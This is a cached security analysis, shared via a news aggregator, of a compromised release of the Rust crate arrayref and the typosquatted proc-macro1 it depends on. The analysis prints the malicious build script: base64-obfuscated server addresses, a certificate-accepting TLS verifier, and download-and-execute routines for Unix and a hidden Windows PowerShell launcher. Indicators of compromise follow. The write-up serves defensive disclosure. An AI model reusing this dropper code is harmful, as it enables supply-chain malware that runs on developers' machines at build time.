Malicious Rust crate Arrayref runs a build-time payload

Hacker News Top News

Summary

A compromised release of the popular Rust crate `arrayref` contained a malicious build-time payload that executed remote code during compilation, affecting numerous downstream projects.

<a href="https:&#x2F;&#x2F;blog.rust-lang.org&#x2F;2026&#x2F;08&#x2F;20&#x2F;supply-chain-attack-on-arrayref&#x2F;" rel="nofollow">https:&#x2F;&#x2F;blog.rust-lang.org&#x2F;2026&#x2F;08&#x2F;20&#x2F;supply-chain-attack-on...</a><p><a href="https:&#x2F;&#x2F;github.com&#x2F;rustsec&#x2F;advisory-db&#x2F;issues&#x2F;3161" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;rustsec&#x2F;advisory-db&#x2F;issues&#x2F;3161</a>
Original Article
View Cached Full Text

Cached at: 08/20/26, 04:15 PM

# Malicious Rust Crate arrayref Runs a Build-Time Payload Source: [https://safedep.io/arrayref-proc-macro1-rust-build-time-malware/](https://safedep.io/arrayref-proc-macro1-rust-build-time-malware/) ## Summary On August 20, 2026, a compromised release of the popular Rust crate`arrayref`appeared on crates\.io\. Version 0\.3\.10 added a dependency on a typosquatted crate called`proc\-macro1`, whose build script downloads and runs a remote binary while a project compiles\. The code runs at build time, so simply compiling a project that pulled the bad versions is enough to trigger it\. The crates\.io team has since removed the malicious versions\. ## Packages involved The genuine`arrayref`and`append\-only\-vec`crates are maintained by`droundy`, whose account appears to have been compromised\. The corresponding GitHub repositories are no longer available\.`github\.com/droundy/arrayref`,`github\.com/droundy/append\-only\-vec`, and the entire`github\.com/droundy`account all return 404, so the upstream code is no longer available for inspection\. A separate account,`dtolney`, published`proc\-macro1`\. The username closely resembles David Tolnay’s real`dtolnay`account\. Its metadata forges`authors = \["David Tolnay <\[email protected\]\>"\]`and points`repository`at a`dtolnay/proc\-macro1`path that returns 404\. CrateVersionPublisherStatus`arrayref`0\.3\.10`droundy`\(compromised\)Malicious, removed`internment`0\.8\.7`droundy`\(compromised\)Malicious, removed`append\-only\-vec`0\.1\.9`droundy`\(compromised\)Malicious, removed`proc\-macro1`all versions`dtolney`\(impersonation\)Malicious typosquat, entire crate removed`proc\-macro\-en`all versionsMalicious dependency crate, removed`aovine`all versionsMalicious dependency crate, removed`arone`all versionsMalicious dependency crate, removed`aronenao`all versionsMalicious dependency crate, removed`tinymember`all versionsMalicious dependency crate, removed Note that`proc\-macro1`is not`proc\-macro2`\. The real crate that macro authors depend on is[`proc\-macro2`](https://crates.io/crates/proc-macro2)\. The`src/`of the malicious`proc\-macro1`is a genuine copy of`proc\-macro2`, so builds kept working while the build script ran\. ## What the build script does The payload lives in the build script of`proc\-macro1`1\.0\.107\. It stores its server address as base64 fragments and reassembles them at build time, quoted in the advisory: ``` // proc-macro1-1.0.107/build.rs (quoted in rustsec/advisory-db#3161)const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"]; ``` Decoded, those fragments produce the payload host`hxxps://23\[\.\]254\[\.\]165\[\.\]112:9089/`and the command and control address`23\[\.\]254\[\.\]165\[\.\]112:443`\. The script fetches an architecture\-specific binary over a TLS connection that accepts any certificate without validation, then runs it detached from the build\. On Unix it drops and runs`/tmp/rust\-setup`\. On Windows it writes a PowerShell script and a VBScript launcher under`%TEMP%`and starts them hidden, then abandons the child process so the compiler does not wait for it\. ## How it spread The owner account yanked the older`arrayref`releases 0\.3\.5 through 0\.3\.9\. Yanking a crate makes Cargo print a “consider updating to a version that is not yanked” warning, which nudges developers toward the only non\-yanked release, the malicious 0\.3\.10\. The reporter who filed the[RustSec advisory](https://github.com/rustsec/advisory-db/issues/3161)noted this is how they hit it\. `arrayref`is widely used as a transitive dependency\. It sits deep in common Rust graphs through`tiny\-skia`,`sctk\-adwaita`, and`winit`, which places it under most GUI work built on egui, eframe, and iced\. The crate has about 245 million all\-time downloads \(244,989,384 at time of writing\), with the clean 0\.3\.9 release accounting for roughly 152 million\. Those numbers measure how widely the crate is used rather than a count of affected builds\. ## Indicators of compromise TypeIndicatorDetailNetwork`23\.254\.165\.112:9089`Payload host \(HTTPS\)Network`23\.254\.165\.112:443`C2, passed to the payload as argv\[1\]File \(Unix\)`/tmp/rust\-setup`Downloaded executableFile \(Windows\)`%TEMP%\\rust\-setup\.ps1`Downloaded PowerShell scriptFile \(Windows\)`%TEMP%\\rust\-setup\-launch\.vbs`VBScript launcherSecond\-stage names`rust\-crate\_0\.1\.0`,`\_0\.2\.0`,`\_0\.3\.0`,`\_0\.4\.0`Chosen by OS and architecture SHA256 of the removed crate artifacts: ArtifactSHA256`arrayref`0\.3\.10`25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae``proc\-macro1`1\.0\.107`61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4``proc\-macro1`1\.0\.106`b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436` --- ## Part 2: Technical Analysis Our technical analysis covers the two crates behind this incident,`arrayref`0\.3\.10 and`proc\-macro1`1\.0\.107\.`arrayref`0\.3\.10 pulls in a dependency called`proc\-macro1`\. The malicious code is in the build script of`proc\-macro1`, not in`arrayref`itself\. ### The injection point in arrayref `arrayref`is a small crate of four macros\. Up to 0\.3\.9 it has no build script and no runtime dependencies\. Version 0\.3\.10 keeps that macro source and adds one line to the manifest: ``` [package]name = "arrayref"version = "0.3.10"build = false[dependencies.proc-macro1]version = "1.0.107" ``` This`\[dependencies\.proc\-macro1\]`entry is sufficient to introduce the malicious crate\. The requirement`1\.0\.107`is a caret range, and with only 1\.0\.106 and 1\.0\.107 ever published it resolves to the malicious 1\.0\.107\. The crate’s own`src/lib\.rs`is the ordinary macro code, for example the`array\_ref\!`macro: ``` #[macro_export]macro_rules! array_ref { ($arr:expr, $offset:expr, $len:expr) => {{ { #[inline] const unsafe fn as_array<T>(slice: &[T]) -> &[T; $len] { &*(slice.as_ptr() as *const [_; $len]) } let offset = $offset; let slice = &$arr[offset..offset + $len]; #[allow(unused_unsafe)] unsafe { as_array(slice) } } }};} ``` Nothing in the`arrayref`source references`proc\-macro1`, and it does not need to\. Cargo builds every declared non\-optional dependency, whether or not the code uses it\. So the manifest entry alone makes Cargo fetch and build`proc\-macro1`whenever a project pulls in`arrayref`0\.3\.10, and building it runs the malicious build script\. ### proc\-macro1 is a renamed copy of proc\-macro2 The`src/`of`proc\-macro1`is proc\-macro2 with a mechanical find\-and\-replace of`proc\-macro2`to`proc\-macro1`\. The rename reaches into documentation links and even copied issue references, for example`html\_root\_url = "https://docs\.rs/proc\-macro1/1\.0\.107"`in`src/lib\.rs`and a`github\.com/dtolnay/proc\-macro1/issues/235`link in`src/fallback\.rs`\. Because the library code is real proc\-macro2, the crate works as a drop\-in\. This makes the malicious crate less noticeable during a normal build\. The package metadata forges an identity: ``` authors = ["David Tolnay <[email protected]>"]repository = "https://github.com/dtolnay/proc-macro1" ``` The email`\[email protected\]`is not David Tolnay’s, and the`dtolnay/proc\-macro1`repository returns 404\. The suspicious difference is in the build dependencies, which real proc\-macro2 does not have: ``` [build-dependencies.base64]version = "0.22"[build-dependencies.rustls]version = "0.23"features = ["ring", "std", "tls12"]default-features = false[build-dependencies.ureq]version = "2"features = ["tls"]default-features = false ``` Those three crates give the build script base64 decoding, a TLS stack, and an HTTP client\. These dependencies are unusual for a token\-parsing library, and the malicious build script uses them\. ### The build script payload The build script splits the server address into base64 fragments and rebuilds it at compile time, so the raw string never appears in the source: ``` const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"]; ``` Decoded,`SRC\_URL\_PARTS`is`hxxps://23\[\.\]254\[\.\]165\[\.\]112:9089/`and`END\_URL\_PARTS`is`23\[\.\]254\[\.\]165\[\.\]112:443`\. The download uses a TLS client that accepts any certificate\. The`AcceptAll`verifier returns success from every certificate and signature check in the`rustls``ServerCertVerifier`trait, so a self\-signed certificate on the raw IP passes: ``` impl ServerCertVerifier for AcceptAll { fn verify_server_cert(/* ... */) -> Result<ServerCertVerified, rustls::Error> { Ok(ServerCertVerified::assertion()) } // verify_tls12_signature and verify_tls13_signature also return success unconditionally} ``` The build script picks the binary to fetch by operating system and architecture\. It supports four targets and aborts the build on anything else: ``` fn link_suffix() -> &'static str { match (std::env::consts::OS, std::env::consts::ARCH) { ("linux", "x86_64") => "rust-crate_0.1.0", ("windows", "x86_64") => "rust-crate_0.2.0", ("macos", "x86_64") => "rust-crate_0.3.0", ("macos", "aarch64") => "rust-crate_0.4.0", (_, _) => panic!("unsupported platform"), }} ``` The download and execution run inside`main`, before the feature gate and the genuine proc\-macro2 configuration logic that follows\. There is no feature flag or environment check guarding it, so it runs on every build on a supported platform: ``` // proc-macro1-1.0.107/build.rs (inside main)let url = src_download_url();let bytes = download_bytes(&url);match std::env::consts::OS { "linux" | "macos" => run_unix_payload(bytes), "windows" => run_windows_payload(bytes), os => panic!("unsupported OS: {os}"),} ``` On Unix the build script writes the bytes to`/tmp/rust\-setup`, marks the file executable, and spawns it without waiting, passing the command and control address as the first argument\. It sends every standard stream to null: ``` fn run_unix_payload(bytes: Vec<u8>) { let path = PathBuf::from("/tmp/rust-setup"); std::fs::write(&path, &bytes).expect("failed to write payload"); Command::new("chmod").args(["+x", path_str]).status().expect("failed to run chmod"); Command::new(&path) .arg(end_url()) .stdin(Stdio::null()) .stdout(Stdio::null()) .stderr(Stdio::null()) .spawn() .expect("failed to spawn payload");} ``` On Windows the fetched bytes are a PowerShell script\. The build script writes them to`%TEMP%\\rust\-setup\.ps1`and starts them through a VBScript launcher under`wscript\.exe`, with a comment in the source explaining why: ``` // ShellExecute via WScript escapes Cargo's job object; spawned children otherwise// keep the build script (and `cargo build`) waiting until they exit.let vbs = format!( r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"#, script = script_path.display(), end = end_url(),);// ...let child = Command::new("wscript.exe") .args(["//B", "//Nologo", launcher_str]) .creation_flags(CREATE_NO_WINDOW) .spawn() .expect("failed to spawn wscript launcher");std::mem::forget(child); ``` The launcher runs hidden and does not wait for the process\. The source comment states that routing through WScript is what escapes Cargo’s job object, so PowerShell keeps running after the build finishes\. The final`std::mem::forget`leaks the`wscript`child handle so its destructor never runs\. Together this detaches the payload from Cargo\. This allows the payload to continue without blocking the Cargo build\.

Similar Articles

Be alert: targeted attacks on prominent Rustaceans

Simon Willison's Blog

An ongoing campaign is targeting prominent Rust developers through social engineering to compromise devices and publish malware, with recent supply chain attacks on crates like array ref highlighted. Recommended defense includes dependency cooldowns to mitigate risks.

Making Rust supply chain attacks harder with Cackle (2023)

Lobsters Hottest

David Lattimore introduces Cackle, a tool that helps prevent supply chain attacks in Rust by using access control lists (ACLs) to restrict what dependencies can do, reducing the risk of malicious code being introduced via third-party crates.

Be alert: targeted attacks on prominent Rustaceans

Lobsters Hottest

The Rust team warns of targeted cyber attacks on prominent Rust developers, using social engineering tactics to compromise devices and accounts for malware distribution, advising caution and security checks.